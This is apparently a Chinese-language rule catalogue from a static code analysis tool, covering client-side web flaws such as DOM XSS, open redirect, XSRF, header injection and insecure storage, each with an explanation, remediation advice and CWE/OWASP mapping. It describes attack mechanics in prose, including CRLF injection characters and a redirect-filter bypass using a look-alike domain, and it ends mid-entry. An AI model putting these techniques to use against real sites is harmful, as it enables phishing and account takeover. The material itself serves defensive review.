摘要	应用程序在 Y（文件） 文件第 M 行的 YYY（方法） 方法中设置了一个 cookie YY（元素）。为此 cookie 设置的值是通过 X（文件） 文件第 N 行的 XXX（方法） 方法中的外部用户输入 XX（元素） 控制的。此输入可被外部第三方控制。
解释	如果外部恶意第三方可以控制其他用户的应用程序 cookie，这可能导致各种方式的滥用——这包括篡改应用程序数据、绕过访问控制检查、违反完整性约束或更改用户的首选项，例如购物车的内容。 此外，此缺陷也会导致其他种类的攻击，例如会话固定或跨站点脚本 (XSS) 攻击。 应用程序未阻止将恶意输入插入应用程序 cookie。攻击者可能会使用恶意 URL 参数影响受害者的浏览器，使脚本将这些恶意值加载到用户的 cookie 中。这可能通过网络钓鱼、保存的链接、外部链接等完成。
建议	不要根据用户可控制的输入设置 cookies，例如 URL 片断、GET 参数或输入字段的值。
CWE	CWE ID 472
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client DOM Open Redirect**
默认严重性	3
摘要	X（文件） 文件第 N 行 XX（元素） 元素提供的可能被污染的值被 Y（文件） 文件第 M 行 YY（元素） 元素用作目标 URL，这可能使攻击者可以执行开放重定向。
解释	攻击者可能使用社交工程让受害者点击指向此应用程序的某个链接，以此方式将用户立即重定向到另一个攻击者选好的另一个网站。然后攻击者可以伪造一个目标网站来欺骗受害者；例如，攻击者可能伪造一个钓鱼网站，其 UI 外观与之前网站的登录页面相同，其 URL 看起来与之前网站的相似，以此蒙骗用户在此攻击者的网站上提交自己的访问凭证。再比如，某些钓鱼网站的 UI 外观与常用支付服务的相同，以此蒙骗用户提交自己的支付信息。 应用程序将用户的浏览器重定向到由污染的输入提供的 URL，而未能先确保 URL 定向到可信任的目标，也未警告用户他们将被重定向到当前网站外部。攻击者可能使用社交工程让受害者点击指向此应用程序的链接，其中使用参数定义了另一个网站，以使应用程序将用户的浏览器重定向到此网站。因为用户可能没有注意到被重定向，他们可能会误以为他们当前浏览的网站是可信任的。
建议	理想情况下，不要允许任意 URL 进行重定向。而要创建由用户提供的参数值到合法 URL 的映射。 如果需要允许任意 URL: 对于应用程序站点内的 URL，先对用户提供的参数进行过滤和编码，然后执行以下操作之一: 创建在应用程序内允许的 URL 的白名单 将变量以同样的方式用作相对和绝对 URL，方法是为变量添加应用程序网站域的前缀 - 这可保证所有重定向都发生在域内 对于应用程序外的 URL（如必要），执行以下操作之一: 先通过可信任的前缀来筛选 URL，之后通过白名单重定向到所允许的外部域。前缀必须测试到第三个斜杠 [/] - scheme://my.trusted.domain.com/，以排除规避。例如，如果未验证到第三个斜杠 [/] 且 scheme://my.trusted.domain.com 是可信任的，则此过滤器会认为 URL scheme://my.trusted.domain.com.evildomain.com 是有效的，但实际浏览的域是 evildomain.com，而不是 domain.com。 为了实现完全动态开放重定向，请使用一个中间免责声明页面来明确警告用户正在离开此站点。
CWE	CWE ID 601
OWASP2017	None

返回目录

漏洞名称	**Client DOM Stored Code Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 与反射或存储型 XSS 不同，DOM XSS 的另一个风险是，受污染的值不必通过服务器。因为服务器不参与这些输入的净化，所以服务器端验证可能不会意识到 XSS 攻击已经发生，并且任何服务器端安全解决方案（如 WAF）在解决 DOM XSS 问题时可能都无效。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 发生 DOM XSS 时，是客户端代码自己操纵本地 Web 页面的 DOM、从某些客户端存储中提取数据并意外引入恶意内容。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略（CSP）和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式 预期值

返回目录

	在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 94
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client DOM Stored XSS**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 与反射或存储型 XSS 不同，DOM XSS 的另一个风险是，受污染的值不必通过服务器。因为服务器不参与这些输入的净化，所以服务器端验证可能不会意识到 XSS 攻击已经发生，并且任何服务器端安全解决方案（如 WAF）在解决 DOM XSS 问题时可能都无效。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 发生 DOM XSS 时，是客户端代码自己操纵本地 Web 页面的 DOM、从某些客户端存储中提取数据并意外引入恶意内容。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略（CSP）和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式 预期值

返回目录

	在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 79
OWASP2017	A7-Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Client DOM XSRF**
默认严重性	4
摘要	X（文件） 文件的第 N 行的 XXX（方法） 方法所获取的参数来自于用户对 XX（元素） 的请求。然后，此参数值将传递到代码，并最终用于访问可以更改应用程序状态的功能。这可能导致跨站点请求伪造(XSRF)。
解释	攻击者可以使受害者执行任何操作，这些操作是被受害者授权的，例如从受害者账户里转移资金给攻击者账户。该操作将被记录为是受害者执行的，在受害者的账户环境里发生的，并且受害者他们自己可能完全不知情。 应用程序纯粹根据 HTTP 请求内容执行修改数据库内容的某些操作，并且不需要每次请求更新后的身份验证（例如交易验证码或同步器 token），相反仅依赖于会话身份验证。这意味着攻击者可以使用社交工程使受害者浏览一个链接，该链接包含有一个指向有漏洞的应用程序的交易请求，从用户的浏览器提交该请求。当应用程序接收到该请求后，它将会信任受害者的会话，然后执行该操作。这种类型的攻击被称作跨站请求伪造（XSRF 或 CSRF）。 跨站请求伪造攻击依靠的是服务器和经过身份验证的客户端之间的信任。通过仅验证会话，服务器可确保请求是从客户的浏览器发出的。但是，任何网站都可以向其他网站提交 GET 和 POST 请求，如果 cookie 中有会话 token 的话，浏览器就会自动把它加到请求里。这个跨站请求就会被信任了，因为它是从用户的浏览器发出的，但却不验证发出此请求是否是客户们的意图。
建议	缓解 XSRF 需要额外一层身份验证，该验证需内置到请求校验机制中。此机制将附加一个额外的 token，该 token 仅适用于指定用户；该 token 将在用户的网页中有效，但不会被自动附加到来自其他网站的一次请求里（即就是，不会存储在 cookie 中）。因为 token 不会被自动附加到该请求里，而且也是攻击者无法获得的，而且是服务器处理该请求所必需的，攻击者想要填写包含此 token 的一个有效跨站表单是完全不可能的。 很多平台都提供内置的 XSRF 缓解功能，请使用这些平台，这些平台都在底层执行这种类型的 token 管理。或者，也可使用已添加此功能的熟知的或可信任的第三方库。 如果实现 XSRF 保护是必需的，则此保护应遵循以下规则: 任何更改状态的表单（创建、更新、删除操作）都应该强制实行 XSRF 保护，方法是在客户端为每个更改状态的表单提交添加一个 XSRF token。 应当生成一个 XSRF token，而且对于每个用户每个会话（并且建议也对每次请求）都是唯一的。

返回目录

	XSRF token 应当被嵌入到客户端侧表单中，并作为表单请求的一部分提交给服务器。例如，它可以是 HTML 表单中的隐藏字段，也可以是被 Javascript 请求所添加的自定义 header。 然后，在一次请求被授权且视作有效请求以进行处理之前，请求正文或自定义 header 中的 XSRF token 必须被服务器核实是否属于当前用户。
CWE	CWE ID 352
OWASP2017	None

返回目录

漏洞名称	**Client DOM XSS**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 与反射或存储型 XSS 不同，DOM XSS 的另一个风险是，受污染的值不必通过服务器。因为服务器不参与这些输入的净化，所以服务器端验证可能不会意识到 XSS 攻击已经发生，并且任何服务器端安全解决方案（如 WAF）在解决 DOM XSS 问题时可能都无效。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 发生 DOM XSS 时，是客户端代码自己操纵本地 Web 页面的 DOM 并引入恶意内容。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略 (CSP) 和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式 预期值

返回目录

	在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 79
OWASP2017	A7-Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Client DoS By Sleep**
默认严重性	4
摘要	X（文件） 文件的第 N 行的 XXX（方法） 方法是为 XX（元素） 元素获取用户输入。该元素的值最终被用于定义 Y（文件） 文件第 M 行的 YYY（方法） 方法中的应用程序“休眠”时段。这可能导致 DoS by Sleep 攻击。
解释	攻击者可能提供非常高的休眠值，有效地造成长时间拒绝服务。 这会使浏览器停止响应，使用户无法访问应用程序。 应用程序使用用户提供的值设置休眠时长，而未为此值设置一个限制范围。
建议	理想情况下，休眠命令涉及的持续时间应该完全与用户输入无关。它应该是或者硬编码的、在配置文件中定义的、或者是在 runtime 时动态计算的。 如果需要允许用户定义休眠持续时间，则必须检查该值并将其限制在预定义的有效值范围内。
CWE	CWE ID 730
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client Empty Password**
默认严重性	3
摘要	应用程序进行身份验证（如验证用户身份或访问另一个远程系统）时使用空密码 XX（元素）。X（文件） 文件第 N 行的此空密码显示在代码中，并且如果不重建应用程序就无法更改，并表示相关账户已经暴露。
解释	对于允许空密码的服务，空密码会是攻击者首先要猜测的。若不能保证强大的身份验证标准，敏感的服务、信息和系统就很容易受到攻击。 设置的密码为空，表示密码已被硬编码到应用程序中，并且会被试图访问此密码所属帐户的人轻易猜到。
建议	通过策略和可用的技术手段禁止任何账户使用空密码访问系统、服务或信息。 不要在源代码中硬编码任何秘密数据，特别是密码。 特别是用户密码应储存在数据库或目录服务中，并使用强密码 hash（例如 bcrypt、scrypt、PBKDF2 或 Argon2）提供保护。不要将用户密码与硬编码的值进行对比。 系统密码应保存在配置文件或数据库中，并使用强加密（例如 AES-256）进行保护）。要安全地管理加密密钥，不能使用硬编码。
CWE	CWE ID 259
OWASP2017	A2-Broken Authentication

返回目录

漏洞名称	**Client Hardcoded Domain**
默认严重性	3
摘要	X（文件） 文件第 N 行 XX（元素） 中导入的 JavaScript 文件来自远程域，这会使攻击者将其内容替换为恶意代码。
解释	外部导入的 Javascript 文件可能会使用户容易受到攻击——如果 Javascript 的主机受到攻击，如果与主机的通信被拦截，或者主机本身就不是可信任的，则 Javascript 文件的内容可能会被更改为恶意代码，从而导致跨站点脚本 (XSS) 攻击。 Javascript 文件嵌入在 HTML 中时，可以从远程主机动态地导入这些文件。但是，依赖远程主机上的这些脚本会降低安全性，因为 Web 应用程序用户的安全将由提供这些 Javascript 文件的远程主机决定。
建议	尽量在本地托管所有脚本文件，而不要使用远程。一定要经常更新和维护本地托管的第三方脚本文件。
CWE	CWE ID 829
OWASP2017	None

返回目录

漏洞名称	**Client Header Manipulation**
默认严重性	4
摘要	X（文件） 文件第 N 行的 XXX（方法） 方法从 XX（元素） 元素接收用户输入。然后，此元素的值被复制到请求的标头，而没有在 Y（文件） 文件第 M 行的 YYY（方法） 中进行正确的净化或验证。如果第三方可以影响此值，就可能可以启用 HTTP 标头注入攻击。
解释	攻击者可以： 劫持会话，执行会话固定，并在此期间将 cookie 或其他经过身份验证的标头被注入请求中。 通过响应拆分攻击，或欺骗缓存服务器无意中将 URL 与另一个 URL 的页面（内容）关联并为 URL 缓存此内容，导致 Web 缓存中毒。 绕过依赖 referrer 标头的 CSRF 保护。 通过发送第二个未被注意的请求，使用请求夹带攻击绕过防火墙/IPS/IDS 保护。 通过更改标头（如 Content-Type）或覆盖标头（如 x-xss-protection），通过跨站点脚本 (XSS) 执行任意 Javascript 代码。 如果 HTTP 请求标头受到从客户端接收但未进行验证的输入的影响，就会发生 HTTP 标头注入漏洞。这种攻击通常是将 CRLF（换行符）字符（如 \r、\n、%0a、%0d）注入 HTTP 请求标头，将标头分解到消息正文并写入第二个任意请求实现的。也可以通过影响请求身份验证标头、安全标头和绕过来执行其他攻击。另外还可以通过此攻击发起其他攻击，如缓存中毒、会话劫持、跨站点脚本 (XSS) 攻击以及绕过 Web 应用程序防火墙保护。
建议	在将输入添加到请求之前，先对所有输入执行 URL 编码，例如 CRLF 字符，以避免碰到恶意数据。 安全代码方法 在服务器侧无论来源如何，一概验证所有输入。验证应基于白名单：仅接受符合指定结构的数据，而不是排除不符合要求的模式。检查以下项： 数据类型 大小 范围 格式 预期值
CWE	CWE ID 113
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client Heuristic Poor XSS Validation**
默认严重性	3
摘要	Web 应用程序在 X（文件） 文件第 N 行的 XX（元素） 中使用了错误的编码类型，编码器可能不适合输出上下文。这可能在 Y（文件） 文件第 M 行的 YY（元素） 导致跨站点脚本 (XSS) 漏洞。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是以浏览器无法将用户输入视为 HTML 或代码（只能视为纯文本）的格式直接嵌入任意数据的结果，并且使用了不适合输出上下文的编码器。 不合适编码器示例： 输出上下文可能用撇号 (') 封装，但编码器只能编码引号 (") 输出上下文可能用反向标记 (`) 封装，但编码器只能编码引号 (") 和撇号 (') 输出上下文可能使用任何元字符封装，但编码器不能正确地编码反斜杠 (\)，在给定的上下文中，这可能会使上述元字符转义封装（例如，\" 会将引号视为文本引用，而不是封装字符）
建议	一定要对可能包含污染数据的所有参数使用封装 一定要使用适合输出上下文的净化程序；选择净化程序时，一定要考虑输出上下文 尽量选择安全库提供的编码，而不是为了完整性而编码；设计时未考虑安全性的普通编码器可能不会考虑特定的元字符
CWE	CWE ID 80
OWASP2017	A7-Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Client HTML5 Heuristic Session Insecure Storage**
默认严重性	3
摘要	应用程序以不安全的方式将 YY（元素） 数据保存在客户端的 Y（文件） 文件第 M 行。
解释	攻击者如果可以访问用户的客户端设备，就能从客户端存储中获取到存储型信息，例如用户的敏感个人数据 (PII)。使用此存储也会增加因其他方式将内容泄漏给攻击者的风险，例如跨站点脚本攻击 (XSS)。这会伤害用户以及他们的隐私，并可能导致声誉损害、财务损失、甚至身份失窃。 应用程序在客户端浏览器或设备上存储数据，其中可能包含 PII（个人身份信息）。应用程序使用不安全的存储方式，未提供任何针对非法访问的内置保护。数据在存储前未经过加密或净化，因此可访问设备或浏览器的恶意实体可以轻松地获取用户的数据。
建议	避免将 PII 等敏感数据保存在无保护的客户端上。 如果必须将 PII 或其他敏感数据保存在客户端上，请确保对其进行加密或提供保护。
CWE	CWE ID 922
OWASP2017	A6-Security Misconfiguration

返回目录

漏洞名称	**Client HTML5 Information Exposure**
默认严重性	4
摘要	一个星号 ('*') 被设置为 Y（文件） 文件第 M 行的消息发布方法 Window.postMessage() 的目标。
解释	消息的内容可能会被泄漏到任意网站。如果创建一个窗口对象的目的是为了向其发布消息，且该窗口的位置 (URL) 可被攻击者更改到攻击者控制的目标，且 postMessage 的调用有一个 'any' 目标源（通过将其设置为 '*'），那么消息就会被发送到攻击者选择的目标，这使攻击者能够窃取消息的内容。 对 Window.postMessage() 进行了调用，其中目标源值被设置为星号 ('*')，这意味着此方法发送它时会无视其目的地。
建议	通过 web 消息发布消息时，一定要定义严格的目标源。
CWE	CWE ID 200
OWASP2017	A3-Sensitive Data Exposure

返回目录

漏洞名称	**Client HTML5 Insecure Storage**
默认严重性	4
摘要	应用程序以不安全的方式将 YY（元素） 数据保存在客户端的 Y（文件） 文件第 M 行。
解释	攻击者如果可以访问用户的客户端设备，就能从客户端存储中获取到存储型信息，例如用户的敏感个人数据 (PII)。使用此存储也会增加因其他方式将内容泄漏给攻击者的风险，例如跨站点脚本攻击 (XSS)。这会伤害用户以及他们的隐私，并可能导致声誉损害、财务损失、甚至身份失窃。 应用程序在客户端浏览器或设备上存储数据，其中可能包含 PII（个人身份信息）。应用程序使用不安全的存储方式，未提供任何针对非法访问的内置保护。数据在存储前未经过加密或净化，因此可访问设备或浏览器的恶意实体可以轻松地获取用户的数据。
建议	避免将 PII 等敏感数据保存在无保护的客户端上。 如果必须将 PII 或其他敏感数据保存在客户端上，请确保对其进行加密或提供保护。
CWE	CWE ID 312
OWASP2017	A3-Sensitive Data Exposure

返回目录

漏洞名称	**Client HTML5 Store Sensitive data In Web Storage**
默认严重性	4
摘要	应用程序以不安全的方式将 YY（元素） 数据保存在客户端的 Y（文件） 文件第 M 行。
解释	攻击者如果可以访问用户的客户端设备，就能从客户端存储中获取到存储型信息，例如用户的敏感个人数据 (PII)。使用此存储也会增加因其他方式将内容泄漏给攻击者的风险，例如跨站点脚本攻击 (XSS)。这会伤害用户以及他们的隐私，并可能导致声誉损害、财务损失、甚至身份失窃。 应用程序在客户端浏览器或设备上存储数据，其中可能包含 PII（个人身份信息）。应用程序使用不安全的存储方式，未提供任何针对非法访问的内置保护。数据在存储前未经过加密或净化，因此可访问设备或浏览器的恶意实体可以轻松地获取用户的数据。
建议	避免将 PII 等敏感数据保存在无保护的客户端上。 如果必须将 PII 或其他敏感数据保存在客户端上，请确保对其进行加密或提供保护。
CWE	CWE ID 312
OWASP2017	A3-Sensitive Data Exposure

返回目录

漏洞名称	**Client Insecure Randomness**
默认严重性	3
摘要	X（文件） 文件第 N 行的 XXX（方法） 方法使用弱方法 XX（元素） 生成随机值。这些值可能被用作个人身份标识、会话 Token 或密码输入；但是，因为其随机性不足，攻击者可能推导出值。
解释	随机值经常被用作一种机制，用于防止恶意用户知道或预测给定的值，例如密码、密钥、或会话标识。根据这个随机值的用途，攻击者可以根据通常用于生成特定随机性的源预测下一次生成的数，或者之前生成的值；但是，虽然它们看起来是随机的，但大量统计样本可能显示它们并没有足够的随机性，可能的“随机”值空间比真正的随机样本小得多。这使得攻击都能够推导或猜出这个值，从而劫持其他用户的会话、假冒其他用户，或破解加密密钥（根据伪随机值的用途）。 应用程序使用弱方法生成伪随机值，因此可能使用相对小的样本大小确定其他数字。因为所使用的伪随机数发生器被设计为使用统计上分布均匀的值，所以它几乎就是确定性的。因此，收集了一些生成的值之后，攻击者就可能计算出过去的或未来的值。 具体而言，如果在安全环境中使用此伪随机值，例如一次性密码、密钥、secret 标识符或 salt，则攻击者将能够预测生成的下一个数字并窃取它，或猜到先前生成的值并破坏其原来的用途。
建议	总是使用密码安全的伪随机数生成器，不要使用基本的随机方法，特别是在安全环境下 使用您的语言或平台上内置的加密随机生成器，并确保其种子安全。不要为生成器提供非随机的弱种子。（在大多数情况下，默认是有足够的随机安全性）。 确保使用足够长的随机值，提高暴力破解的难度。
CWE	CWE ID 330
OWASP2017	A9-Using Components with Known Vulnerabilities

返回目录

漏洞名称	**Client JQuery Deprecated Symbols**
默认严重性	3
摘要	Y（文件） 文件第 M 行中的 YYY（方法） 方法调用了一个过时的 API YY（元素）。这已经被弃用，不应再用于现代代码库。
解释	引用已弃用的模块可能会导致应用程序出现已公开报告且已修复的漏洞。一种常见的攻击技术就是扫描应用程序是否存在这些已知漏洞，然后通过这些已弃用的版本来操控该应用程序。但是，即使以完全安全的方式使用弃用的代码，但因为它存在于代码库中，这就会鼓励开发人员在将来再重用已弃用的元素，使应用程序容易受到攻击，而这就是要从代码库中删除已弃用代码的原因。 请注意，实际风险取决于旧版本中已知漏洞的具体情况。 在客户端代码中使用已弃用的 API 会使用户容易受到浏览器类攻击；客户端侧代码会被任意有客户端访问权限的攻击者利用，攻击者可能很容易发现使用了已弃用的 API，使情况更为危险。 应用程序引用了被声明已弃用的代码元素。这包括版本已过期或已被完全弃用的类、函数、方法、属性、模块或过时的库版本。可能在开发引用过时元素的代码时它还未被声明为过时，然后引用的代码进行了更新。
建议	一定要优选使用最新版本的库、组件和其他依赖项。 不要使用或引用任何已被声明为已弃用的类、方法、函数、属性或其他元素。
CWE	CWE ID 477
OWASP2017	A9-Using Components with Known Vulnerabilities

返回目录

漏洞名称	**Client Located JQuery Outdated Lib File**
默认严重性	3
摘要	Y（文件） 文件第 M 行中的 YYY（方法） 方法调用了一个过时的 API YY（元素）。这已经被弃用，不应再用于现代代码库。
解释	引用已弃用的模块可能会导致应用程序出现已公开报告且已修复的漏洞。一种常见的攻击技术就是扫描应用程序是否存在这些已知漏洞，然后通过这些已弃用的版本来操控该应用程序。但是，即使以完全安全的方式使用弃用的代码，但因为它存在于代码库中，这就会鼓励开发人员在将来再重用已弃用的元素，使应用程序容易受到攻击，而这就是要从代码库中删除已弃用代码的原因。 请注意，实际风险取决于旧版本中已知漏洞的具体情况。 应用程序引用了被声明已弃用的代码元素。这包括版本已过期或已被完全弃用的类、函数、方法、属性、模块或过时的库版本。可能在开发引用过时元素的代码时它还未被声明为过时，然后引用的代码进行了更新。
建议	一定要优选使用最新版本的库、组件和其他依赖项。 不要使用或引用任何已被声明为已弃用的类、方法、函数、属性或其他元素。
CWE	CWE ID 477
OWASP2017	A9-Using Components with Known Vulnerabilities

返回目录

漏洞名称	**Client Manual XSRF Token Handling**
默认严重性	3
摘要	X（文件） 文件的第 N 行的 XXX（方法） 方法所获取的参数来自于用户对 XX（元素） 的请求。然后，此参数值将传递到代码，并最终用于访问可以更改应用程序状态的功能。这可能导致跨站点请求伪造(XSRF)。
解释	攻击者可以使受害者执行任何操作，这些操作是被受害者授权的，例如从受害者账户里转移资金给攻击者账户。该操作将被记录为是受害者执行的，在受害者的账户环境里发生的，并且受害者他们自己可能完全不知情。 应用程序纯粹根据 HTTP 请求内容执行修改数据库内容的某些操作，并且不需要每次请求更新后的身份验证（例如交易验证码或同步器 token），相反仅依赖于会话身份验证。这意味着攻击者可以使用社交工程使受害者浏览一个链接，该链接包含有一个指向有漏洞的应用程序的交易请求，从用户的浏览器提交该请求。当应用程序接收到该请求后，它将会信任受害者的会话，然后执行该操作。这种类型的攻击被称作跨站请求伪造（XSRF 或 CSRF）。 跨站请求伪造攻击依靠的是服务器和经过身份验证的客户端之间的信任。通过仅验证会话，服务器可确保请求是从客户的浏览器发出的。但是，任何网站都可以向其他网站提交 GET 和 POST 请求，如果 cookie 中有会话 token 的话，浏览器就会自动把它加到请求里。这个跨站请求就会被信任了，因为它是从用户的浏览器发出的，但却不验证发出此请求是否是客户们的意图。 在某些情况下，应用程序中虽然存在 XSRF 保护功能，但并未实施或被显式禁用。
建议	缓解 XSRF 需要额外一层身份验证，该验证需内置到请求校验机制中。此机制将附加一个额外的 token，该 token 仅适用于指定用户；该 token 将在用户的网页中有效，但不会被自动附加到来自其他网站的一次请求里（即就是，不会存储在 cookie 中）。因为 token 不会被自动附加到该请求里，而且也是攻击者无法获得的，而且是服务器处理该请求所必需的，攻击者想要填写包含此 token 的一个有效跨站表单是完全不可能的。 很多平台都提供内置的 XSRF 缓解功能，请使用这些平台，这些平台都在底层执行这种类型的 token 管理。或者，也可使用已添加此功能的熟知的或可信任的第三方库。 如果实现 XSRF 保护是必需的，则此保护应遵循以下规则: 任何更改状态的表单（创建、更新、删除操作）都应该强制实行 XSRF 保护，方法是在客户端为每个更改状态的表单提交添加一个 XSRF token。 应当生成一个 XSRF token，而且对于每个用户每个会话（并且建议也对每次请求）都是唯一的。

返回目录

	XSRF token 应当被嵌入到客户端侧表单中，并作为表单请求的一部分提交给服务器。例如，它可以是 HTML 表单中的隐藏字段，也可以是被 Javascript 请求所添加的自定义 header。 然后，在一次请求被授权且视作有效请求以进行处理之前，请求正文或自定义 header 中的 XSRF token 必须被服务器核实是否属于当前用户。 使用 XSRF 保护时一定要使用最佳做法——一定要尽量启用内置功能或可用的库。 使用应用程序范围的 XSRF 保护时，不要明确禁用或破坏特定功能的 XSRF 保护，除非已经充分验证所述功能不需要 XSRF 保护。
CWE	CWE ID 352
OWASP2017	None

返回目录

漏洞名称	**Client Negative Content Length**
默认严重性	3
摘要	Y（文件） 文件第 M 行 YY（元素） 中设置的 Content-Length 标头可能为负。
解释	设置 Content-Length 标头可能导致意外行为，特别是错误和异常。 Content-Length 标头被手动设置为可能为负的值，这可能导致服务器出现错误。 注意此问题仅影响旧浏览器；较新浏览器禁止访问 Content-Length 标头，并根据提供的数据决定标头的值。在较新的浏览器中，请尝试将此标头值设置为无影响，而不是记录到警告消息中。
建议	一定要使用发送的数据推导要设置为 Content-Length 的值。
CWE	CWE ID 398
OWASP2017	None

返回目录

漏洞名称	**Client Null Password**
默认严重性	3
摘要	应用程序进行身份验证（如验证用户身份或访问另一个远程系统）时使用空密码 XX（元素）。X（文件） 文件第 N 行的此空密码显示在代码中，并且如果不重建应用程序就无法更改，并表示相关账户已经暴露。
解释	对于允许空密码的服务，空密码会是攻击者首先要猜测的。若不能保证强大的身份验证标准，敏感的服务、信息和系统就很容易受到攻击。 设置的密码为空，表示密码已被硬编码到应用程序中，并且会被试图访问此密码所属帐户的人轻易猜到。
建议	通过策略和可用的技术手段禁止任何账户使用空密码访问系统、服务或信息。 不要在源代码中硬编码任何秘密数据，特别是密码。 特别是用户密码应储存在数据库或目录服务中，并使用强密码 hash（例如 bcrypt、scrypt、PBKDF2 或 Argon2）提供保护。不要将用户密码与硬编码的值进行对比。 系统密码应保存在配置文件或数据库中，并使用强加密（例如 AES-256）进行保护）。要安全地管理加密密钥，不能使用硬编码。
CWE	CWE ID 259
OWASP2017	None

返回目录

漏洞名称	**Client Overly Permissive Message Posting**
默认严重性	3
摘要	在 Y（文件） 文件第 M 行中，网页使用 HTML5 Web Messaging 技术与浏览器中的另一个网页进行通信。但是，应用程序未限制与特定域 YY（元素） 的通信。
